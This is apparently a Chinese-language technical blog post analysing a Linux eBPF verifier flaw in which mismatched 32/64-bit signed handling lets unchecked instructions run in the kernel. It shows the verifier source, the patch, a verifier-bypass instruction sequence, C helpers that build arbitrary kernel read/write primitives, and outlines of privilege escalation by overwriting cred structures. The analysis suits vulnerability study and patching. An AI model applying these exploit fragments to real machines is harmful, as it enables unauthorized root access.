前言
漏洞信息
漏洞原理
基础知识
BPF简介
BPF(Berkeley Packet Filter)该机制最开始用来对数据包做过滤用的,一般用在对套接字做过滤的实现上,通过把写好的规则与指定的套接字做绑定(setsockopt)从而达到控制某些类型的数据是否通过目标socket的功能。本质上BPF其实是一种内核代码注入技术
。在内核中实现了一eBPF虚拟机,通过在用户空间生成BPF目标码然后通过BPF接口把目标代码注入到内核中去,内核通过JIT(Jus-In-Time)将BPF目标编码转换为本地指令,当需要进行过滤的时候内核就会通过钩子函数来首先运行这些BPF代码。该机制的好处就在于能够在不修改内核代码的前提下修改内核处理某些数据的策略。
既然提供了代码注入功能,那么该机制的安全问题就是重点,BPF提供了很多规则来限制用户态传入的BPF代码。确保被注入的代码都是属于合规代码。下面列出几个我们比较关注的限制规则。
- 一个BPF的代码不能超过BPF_MAXINSNS(4K),运行总步数不能超过32K(4.9改为了96K)
- 禁止代码存在循环操作,代码可能的总分支也被限制不能超过1K
- 限制不能访问全局变量,只能访问局部变量,如果需要访问全局变量则只能访问BPF map对象,该map对象是同时被用户态,BPF代码,内核态共同访问到。
对BPF代码的安全规则检查主要在BPF代码加载时,通过BPF verifier来实现。大致分为两步:
- 1.通过DAG(Directed Acyclic Graph有向无环图)的DFS(Depth-first Search)深度优先算法来遍历BPF程序的代码路径,确保无环路发生。
- 2.逐条检查BPF指令对register和对stack的影响,确保不存在各种越界读写等违规操作。
BPF系统调用
我们来看下如何使用bpf机制,在内核中对外提供了一个系统调用bpf,通过传入不同参数分派不同函数去完成需要的功能。下面列一下本次相关的几个参数。
1 2
| #include <linux/bpf.h> int bpf(int cmd, union bpf_attr *attr, unsigned int size);
|
几个相关的CMD选项:
1 2 3 4
| BPF_MAP_CREATE:(map_create(&attr); ) BPF_MAP_LOOKUP_ELEM:(map_lookup_elem(&attr); ) BPF_MAP_UPDATE_ELEM:(map_update_elem(&attr); ) BPF_PROG_LOAD:(bpf_prog_load(&attr); )
|
注意:BPF虚拟指令存在11个虚拟寄存器,其中包括R0~R10,该寄存器与我们硬件CPU的物理寄存器所对应
1 2 3 4 5 6 7 8 9 10 11
| R0 -- RAX(默认函数返回值寄存器) R1 -- RDI(R1 ~ R5 一般用来表示内核预设函数的参数) R2 -- RSI R3 -- RDX R4 -- RCX R5 -- R8 R6 -- RBX(R6 ~ R9 在BPF代码中可以作存储用,其值不受内核预设函数影响) R7 -- R13 R8 -- R14 R9 -- R15 R10 -- RBP(栈帧指针)
|
最后再简单了解一下ebpf的指令格式:
在eBPF中,每条指令就是一个struct bpf_insn结构体,大小为8字节(1个字节8位共64位)。
1 2 3 4 5
| [0-7]位代表操作码, [8-11]位代表目标寄存器, [12-15]位代表源寄存器, [16-31]为代表操作的偏移值, [32-63]位代表操作的立即数。
|
1 2 3 4 5 6 7 8
| struct bpf_insn{ __u8 code; __u8 dst_reg:4; __u8 src_reg:4; __s16 off; __s32 imm; }
|
这里举个栗子:比如说需要一个类似于令mov eax,0xffffffff的指令,则BPF指令如下:
1 2 3 4 5 6 7 8 9
| #define BPF_MOV32_IMM(DST,IMM) \ ((struct bpf_insn){ \ .code = BPF_ALU|BPF_MOV|BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) opcode:\xb4\x09\x00\x00\xff\xff\xff\xff eBPF虚拟指令系统隶属于RISC(精简指令集),也就是每条指令的大小一致。
|
漏洞功能
在linux内核源码kernel/bpf/verifier.c中的check_alu_op函数未对64位和32位的有符号数分开处理,导致本地用户可通过精心构造不正确的数据导致一些意料之外的影响。
由于存在该漏洞导致对以下指令进行解析时模拟执行与实际执行的语义不一致,促使实际执行的指令并没有被检查到。
1 2 3 4
| BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), \ BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), \ BPF_MOV64_IMM(BPF_REG_0, 0), \ BPF_EXIT_INSN() \
|
漏洞原理
首先我们来看检查时的模拟执行是怎么解释这段代码的,当我们调用系统调用__NR_bpf并且cmd为BPF_PROG_LOAD时,就会将attr结构体中的insns成员指向的bpf指令传入到内核,内核会调用do_check函数对传入的指令做安全检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| 调用链: SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size) ---> bpf_prog_load(&attr) ---> bpf_check(&prog,attr) ---> do_check(env) static int do_check(struct verifier_env *env){ struct verifier_state *state = &env->cur_state; struct bpf_insn *insns = env->prog->insnsi; struct reg_state *regs = state->regs; int insn_cnt = env->prog->len; int insn_idx, prev_insn_idx = 0; int insn_processed = 0; bool do_print_state = false; init_reg_state(regs); insn_idx = 0; for (;;) { struct bpf_insn *insn; u8 class; int err; if (insn_idx >= insn_cnt) { verbose("invalid insn idx %d insn_cnt %d\n",insn_idx, insn_cnt); return -EFAULT; } insn = &insns[insn_idx]; class = BPF_CLASS(insn->code); if (++insn_processed > 32768) { verbose("BPF program is too large. Proccessed %d insn\n",insn_processed); return -E2BIG; } err = is_state_visited(env, insn_idx); if (err < 0) return err; if (err == 1) { if (log_level) { if (do_print_state) verbose("\nfrom %d to %d: safe\n",prev_insn_idx, insn_idx); else verbose("%d: safe\n", insn_idx); } goto process_bpf_exit; } if (log_level && do_print_state) { verbose("\nfrom %d to %d:", prev_insn_idx, insn_idx); print_verifier_state(env); do_print_state = false; } if (log_level) { verbose("%d: ", insn_idx); print_bpf_insn(insn); } if (class == BPF_ALU || class == BPF_ALU64) { err = check_alu_op(env, insn); if (err) return err; } else if (class == BPF_LDX) { [...] } else if (class == BPF_STX) { [...] } else if (class == BPF_ST) { [...] } else if (class == BPF_JMP) { u8 opcode = BPF_OP(insn->code); if (opcode == BPF_CALL) { if (BPF_SRC(insn->code) != BPF_K || insn->off != 0 || insn->src_reg != BPF_REG_0 || insn->dst_reg != BPF_REG_0) { verbose("BPF_CALL uses reserved fields\n"); return -EINVAL; } err = check_call(env, insn->imm); if (err) return err; } else if (opcode == BPF_JA) { if (BPF_SRC(insn->code) != BPF_K || insn->imm != 0 || insn->src_reg != BPF_REG_0 || insn->dst_reg != BPF_REG_0) { verbose("BPF_JA uses reserved fields\n"); return -EINVAL; } insn_idx += insn->off + 1; continue; } else if (opcode == BPF_EXIT) { if (BPF_SRC(insn->code) != BPF_K || insn->imm != 0 || insn->src_reg != BPF_REG_0 || insn->dst_reg != BPF_REG_0) { verbose("BPF_EXIT uses reserved fields\n"); return -EINVAL; } err = check_reg_arg(regs, BPF_REG_0, SRC_OP); if (err) return err; if (is_pointer_value(env, BPF_REG_0)) { [...] } process_bpf_exit: insn_idx = pop_stack(env, &prev_insn_idx); if (insn_idx < 0) { break; } else { do_print_state = true; continue; } } else { err = check_cond_jmp_op(env, insn, &insn_idx); if (err) return err; } } else if (class == BPF_LD) { [...] } else { verbose("unknown insn class %d\n", class); return -EINVAL; } insn_idx++; }
|
我们主要关注2个class,分别是BPF_ALU与BPF_JMP
先看BPF_ALU,实际逻辑在check_alu_op函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| if (class == BPF_ALU || class == BPF_ALU64) { err = check_alu_op(env, insn); if (err) return err; static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn){ struct reg_state *regs = env->cur_state.regs; u8 opcode = BPF_OP(insn->code); int err; if (opcode == BPF_END || opcode == BPF_NEG) { [...] } else if (opcode == BPF_MOV) { if (BPF_SRC(insn->code) == BPF_X) { [...] } else { if (insn->src_reg != BPF_REG_0 || insn->off != 0) { verbose("BPF_MOV uses reserved fields\n"); return -EINVAL; } } err = check_reg_arg(regs, insn->dst_reg, DST_OP); if (err) return err; if (BPF_SRC(insn->code) == BPF_X) { [...] } else { * remember the value we stored into this reg */ regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = insn->imm; } } else if (opcode > BPF_END) { [...] } else { [...] } return 0; }
|
通过BPF_OP获取指令的opcode,这条指令的opcode是MOV,并且使用的是BPF_K,也就是立即数,所以最终把CONST_IMM赋值给regs[insn->dst_reg].type,把insn->imm(0xffffffff)赋值给regs[insn->dst_reg].imm,
注意:
这里需要留意的一点是insn->imm和regs[insn->dst_reg].imm都属于有符号32位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| struct bpf_insn{ __u8 code; __u8 dst_reg:4; __u8 src_reg:4; __s16 off; __s32 imm; } struct reg_state { enum bpf_reg_type type; union { int imm; struct bpf_map *map_ptr; }; };
|
接着再来看对BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2)的解析,主要在check_cond_jmp_op函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| } else { err = check_cond_jmp_op(env, insn, &insn_idx); if (err) return err; } static int check_cond_jmp_op(struct verifier_env *env, /* 该函数主要处理条件分支 */ struct bpf_insn *insn, int *insn_idx){ struct reg_state *regs = env->cur_state.regs; struct verifier_state *other_branch; u8 opcode = BPF_OP(insn->code); int err; if (opcode > BPF_EXIT) { verbose("invalid BPF_JMP opcode %x\n", opcode); return -EINVAL; } if (BPF_SRC(insn->code) == BPF_X) { if (insn->imm != 0) { verbose("BPF_JMP uses reserved fields\n"); return -EINVAL; } /* check src1 operand */ err = check_reg_arg(regs, insn->src_reg, SRC_OP); if (err) return err; if (is_pointer_value(env, insn->src_reg)) { verbose("R%d pointer comparison prohibited\n", insn->src_reg); return -EACCES; } } else { if (insn->src_reg != BPF_REG_0) { verbose("BPF_JMP uses reserved fields\n"); return -EINVAL; } } /* check src2 operand */ err = check_reg_arg(regs, insn->dst_reg, SRC_OP); if (err) return err; /* detect if R == 0 where R was initialized to zero earlier */ if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE) && regs[insn->dst_reg].type == CONST_IMM && /* 如果目标类型属于立即数 并且 目标的立即数与需要判断的立即数一致 那么直接进入恒等模式 只追随满足条件的分支*/ regs[insn->dst_reg].imm == insn->imm) { if (opcode == BPF_JEQ) { /* if (imm == imm) goto pc+off; * only follow the goto, ignore fall-through */ *insn_idx += insn->off; return 0; } else { /* */ /* if (imm != imm) goto pc+off; * only follow fall-through branch, since * that's where the program will go */ return 0; } } other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx); /* 若当前比较不属于立即数比较,则会把第二条分支临时保存起来 后续若遇到exit指令 就pop出来第二条分支进行模拟执行 */ if (!other_branch) return -EFAULT; /* detect if R == 0 where R is returned value from bpf_map_lookup_elem() */ if (BPF_SRC(insn->code) == BPF_K && insn->imm == 0 && (opcode == BPF_JEQ || opcode == BPF_JNE) && regs[insn->dst_reg].type == PTR_TO_MAP_VALUE_OR_NULL) { if (opcode == BPF_JEQ) { /* next fallthrough insn can access memory via * this register */ regs[insn->dst_reg].type = PTR_TO_MAP_VALUE; /* branch targer cannot access it, since reg == 0 */ other_branch->regs[insn->dst_reg].type = CONST_IMM; other_branch->regs[insn->dst_reg].imm = 0; } else { other_branch->regs[insn->dst_reg].type = PTR_TO_MAP_VALUE; regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = 0; } } else if (is_pointer_value(env, insn->dst_reg)) { verbose("R%d pointer comparison prohibited\n", insn->dst_reg); return -EACCES; } else if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE)) { if (opcode == BPF_JEQ) { /* detect if (R == imm) goto * and in the target state recognize that R = imm */ other_branch->regs[insn->dst_reg].type = CONST_IMM; other_branch->regs[insn->dst_reg].imm = insn->imm; } else { /* detect if (R != imm) goto * and in the fall-through state recognize that R = imm */ regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = insn->imm; } } if (log_level) print_verifier_state(env); return 0; }
|
check_cond_jmp_op函数主要用来处理分支语句(BPF_JEQ,BPF_JNE),但是因为这里是立即数之间做比较,如果两个立即数相等就会进入恒等情况,直接退出check_cond_jmp_op函数,因为内核认为这是恒等情况永远都会成立,所以也就没有执行保存分支2到临时栈中的代码(push_stack函数),如果我们在条件成立的情况下接着执行BPF_JMP|BPF_EXIT指令,那么内核就会直接跳出大循环,结束安全检查。
看看do_check中BPF_EXIT指令的处理代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| else if (opcode == BPF_EXIT) { if (BPF_SRC(insn->code) != BPF_K || insn->imm != 0 || insn->src_reg != BPF_REG_0 || insn->dst_reg != BPF_REG_0) { verbose("BPF_EXIT uses reserved fields\n"); return -EINVAL; } * to return the value from eBPF program. * Make sure that it's readable at this time * of bpf_exit, which means that program wrote * something into it earlier */ err = check_reg_arg(regs, BPF_REG_0, SRC_OP); if (err) return err; if (is_pointer_value(env, BPF_REG_0)) { verbose("R0 leaks addr as return value\n"); return -EACCES; } process_bpf_exit: insn_idx = pop_stack(env, &prev_insn_idx); if (insn_idx < 0) { break; } else { do_print_state = true; continue; } static int pop_stack(struct verifier_env *env, int *prev_insn_idx){ struct verifier_stack_elem *elem; int insn_idx; if (env->head == NULL) return -1; memcpy(&env->cur_state, &env->head->st, sizeof(env->cur_state)); insn_idx = env->head->insn_idx; if (prev_insn_idx) *prev_insn_idx = env->head->prev_insn_idx; elem = env->head->next; kfree(env->head); env->head = elem; env->stack_size--; return insn_idx; }
|
因为前面JNE判断语句结果为恒等,所以并没有对分支2进行入栈备份,导致在执行BPF_EXIT操作后,内核打算执行pop_stack函数来获取分支2时env->head为空,所以返回-1,而又因为pop_stack的返回值为-1,内核以为代码检查完毕了,所以直接执行break退出了for大循环,结束了对用户指令的检查操作。
所以内核在模拟执行时只检查了4条代码就退出了检查。
1 2 3 4 5
| #define BPF_DISABLE_VERIFIER() \ BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), \ BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), \ BPF_MOV64_IMM(BPF_REG_0, 0), \ BPF_EXIT_INSN() \
|
然后再来看实际执行的情况:
1
| 实际执行调用链:__vfs_write -> new_sync_write -> sock_write_iter -> sock_sendmsg -> sock_sendmsg_nosec -> unix_dgram_sendmsg -> sk_filter -> bpf_prog_run_save_cb -> __bpf_prog_run
|
函数__bpf_prog_run用做实际解析并执行指令,该函数中有一个大的跳转表(jumptable),通过把每条指令的insn->code成员作为跳转表的索引值,跳转到需要执行的分支处对不同的指令做处理
1 2
| select_insn: goto *jumptable[insn->code];
|
我们主要关注的是以下两条分支,对应着用户层传入的前两条指令
1 2
| [BPF_ALU | BPF_MOV | BPF_K] = &&ALU_MOV_K, [BPF_JMP | BPF_JNE | BPF_K] = &&JMP_JNE_K,
|
1 2 3
| ALU_MOV_K: DST = (u32) IMM; CONT;
|
实际解析BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF)指令时会把有符号32位的IMM(insn->imm)强转为无符号32型,并赋值给无符号64位的DST(regs[insn->dst_reg]),所以此时DST==0x00000000FFFFFFFF
1 2 3 4 5 6
| JMP_JNE_K: if (DST != IMM) { insn += insn->off; CONT_JMP; } CONT;
|
在解析BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2)指令时,因为DST属于无符号64位类型,比较时会把有符号32位的IMM(insn->imm)隐式转为无符号64位(0xFFFFFFFFFFFFFFFF),而DST最开始被赋值为0x00000000FFFFFFFF所以比较的结果肯定是不相等
分析到这里我们可以看出模拟执行时JNE比较结果为恒等,而实际执行是JNE比较结果却为不等,因为实际执行的结果不等,所以会跳过两条指令继续执行,而分支2的指令在模拟执行时是没有被检查的,所以我们可以把分支2构造为我们用来提权的代码,这样就绕过了内核的安全检查,执行任何我们想执行的代码了。
补丁用意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c index 625e358..c086010 100644 --- a/kernel/bpf/verifier.c +++ b/kernel/bpf/verifier.c @@ -2408,7 +2408,13 @@ static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn) * remember the value we stored into this reg */ regs[insn->dst_reg].type = SCALAR_VALUE; - __mark_reg_known(regs + insn->dst_reg, insn->imm); + if (BPF_CLASS(insn->code) == BPF_ALU64) { + __mark_reg_known(regs + insn->dst_reg, + insn->imm); + } else { + __mark_reg_known(regs + insn->dst_reg, + (u32)insn->imm); + } } } else if (opcode > BPF_END) {
|
添加了对bpf指令目标位数的检查,避免64位与32位的混淆比较。
漏洞利用
基础知识
使用bpf的流程:
调用syscall(NR_bpf,BPF_MAP_CREATE,&attr,size(attr))申请一个map,在attr结构体中指定map的类型,大小,最大兼容等级。
调用syscall(NR_bpf,BPF_PROG_LOAD,&attr,sizeof(attr)),将用户态的BPF指令加载到内核态,attr包含指令数量,指令首地址,日志等级。内核态在实际执行这些指令之前会先利用虚拟执行的方式做安全校验,如果安全校验通过后,指令被成功加载到内核,然后实际执行。
使用setsockopt(sockets。SO_SOCKET,SO_ATTACK_BPF,&progfd,sizeof(progfd))把BPF句柄绑定到指定的socket上,Progfd为第二步的返回值。
最后通过操作第三步的socket来触发BPF实际执行。
write(sockets[0], buffer, sizeof(buffer))
利用思路
构造读写原语
现在我们已经能够给内核注入代码了,但我们需要怎么去提权呢?也就是注入的代码该怎么写呢?
这里就涉及到了我们前面说过的bpf的数据共享,通过BPF_MAP_CREATE选项在内核中创建一个映射表,因为该映射表是内核层与应用层共享的所以我们可以通过在用户层修改该映射表中的数据从而控制内核中bpf被执行的代码。
大概思路如下:
首先通过BPF_MAP_CREATE选项创建一个map映射表并设置该map可存放的最大元素个数为3,分别表示操作指令(op),读写地址(address),读写值(value)。这个映射表就组成了一条控制指令。
接着利用BPF_PROG_LOAD选项加载我们精心构造的bpf规则指令到内核。
最后使用setsockopt函数的SO_ATTACK_BPF选项绑定精心构造的bpf规则指令到套接字。
现在我们只要对套接字进行写操作就能触发我们注入到内核的bpf指令。
bpf指令伪代码如下:
1 2 3 4 5 6 7 8 9 10 11
| op = get_map(key=0) address = get_map(key=1) value = get_map(key=2) if (op == 0) get_map(key=2) = fp else if (op == 1) get_map(key=2) = skbuff else if (op == 2) get_map(key=2) = read(address) else write(address,value)
|
bpf系统调用的BPF_MAP_LOOKUP_ELEM选项用来获取映射表指定key的值,我们封装为任意读,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int bpf_lookup_elem(int fd, void *key, void *value){ union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } static unsigned long get_value(int key) { unsigned long value; if (bpf_lookup_elem(mapfd, &key, &value)) { fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); } return value; }
|
BPF_MAP_UPDATE_ELEM选项用来更新指定key的值,我们用来实现任意写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags){ union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), .flags = flags, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } static void update_elem(int key, unsigned long value) { if (bpf_update_elem(mapfd, &key, &value, 0)) { fail("bpf_update_elem failed '%s'\n", strerror(errno)); } }
|
write(sockets[0], buffer, sizeof(buffer))用作触发bpf规则的实际执行。
1 2 3 4 5 6 7 8
| static unsigned long sendcmd(unsigned long op, unsigned long addr, unsigned long value) { update_elem(0, op); update_elem(1, addr); update_elem(2, value); writemsg(); return get_value(2); }
|
因为这个漏洞可以重复触发,所以只需要把上面的函数做一下封装,就可以组成任意读写的原语,通过控制op参数的值促使内核做不同的读写操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| unsigned long get_skbuff() { return sendcmd(1, 0, 0); } unsigned long get_fp() { return sendcmd(0, 0, 0); } unsigned long read64(unsigned long addr) { return sendcmd(2, addr, 0); } void write64(unsigned long addr, unsigned long val) { (void)sendcmd(3, addr, val); }
|
在我们拥有了任意读写原语之后我们就可以来提权了,常规的提权方式这里有两种:
泄漏fp
第一种首先通过我们封装的get_fp来获取当前进程的栈地址,然后通过经典的 栈地址 & ~(0x4000-1)计算出当前进程的thread_info结构体的起始地址,接着通过任意读获取task_struct结构体,有了task_struct结构体之后我们就可以通过偏移量去修改cred结构体实现提权了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| struct thread_info { struct pcb_struct pcb; struct task_struct *task; unsigned int flags; unsigned int ieee_state; struct exec_domain *exec_domain; mm_segment_t addr_limit; unsigned cpu; [….] struct restart_block restart_block; }; /-------------------------------------------------------------/ struct task_struct { volatile long state; void *stack; atomic_t usage; unsigned int flags; unsigned int ptrace; [...] struct list_head cpu_timers[3]; const struct cred *real_cred; const struct cred *cred; char comm[TASK_COMM_LEN]; […] } /-------------------------------------------------------------/ struct cred { atomic_t usage; kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; [...] struct rcu_head rcu; };
|
泄漏skbuff
第二种是通过获取当前套接字的sk_buff遍历当前进程的cred结构体,sk_buff变量中有一个sk元素(struct sock *sk),而sk元素又包含当前进程的cred结构体,所有通过sk_buff变量也能获取到当前进程的cred结构体实现内核提权。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| sk_buff的获取可以通过对fp做加减获得 sk_buff->sk->sk_peer_cred << cred结构体 /-------------------------------------------------------------/ struct sk_buff { struct sk_buff *next; struct sk_buff *prev; union { ktime_t tstamp; struct skb_mstamp skb_mstamp; }; struct sock *sk; struct net_device *dev; [...] } /-------------------------------------------------------------/ struct sock { [...] struct pid *sk_peer_pid; const struct cred *sk_peer_cred; long sk_rcvtimeo; long sk_sndtimeo; [...] }; /-------------------------------------------------------------/ struct cred { atomic_t usage; kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; [...] struct rcu_head rcu; };
|
总结
- 感觉这个漏洞还挺有趣,第一次接触这类漏洞,通过传入精心构造的数据控制程序的执行流程,让内核直接执行我们传入的代码,利用起来也特别稳定还非常好理解而且由于都是正常操作,所以直接绕过了内核对于漏洞利用的缓解机制,完全不像哪些容易造成系统崩溃的破坏内存的漏洞。
- 跟着exp分析了下该漏洞,并做一下记录,不断努力,多找一些exploit,跟着作者的思路一步一步的分析,思考作者当时的想法,不断积累漏洞利用经验。
触发该漏洞需要两个条件:
1 2
| Kernel编译选项CONFIG_BPF_SYSCALL打开,启用了bpf syscall; /proc/sys/unprivileged_bpf_disabled设置为0,允许非特权用户调用bpf_syscall;
|
参考
1 2 3 4 5 6
| https: https: 最初的exp https: https: https:
|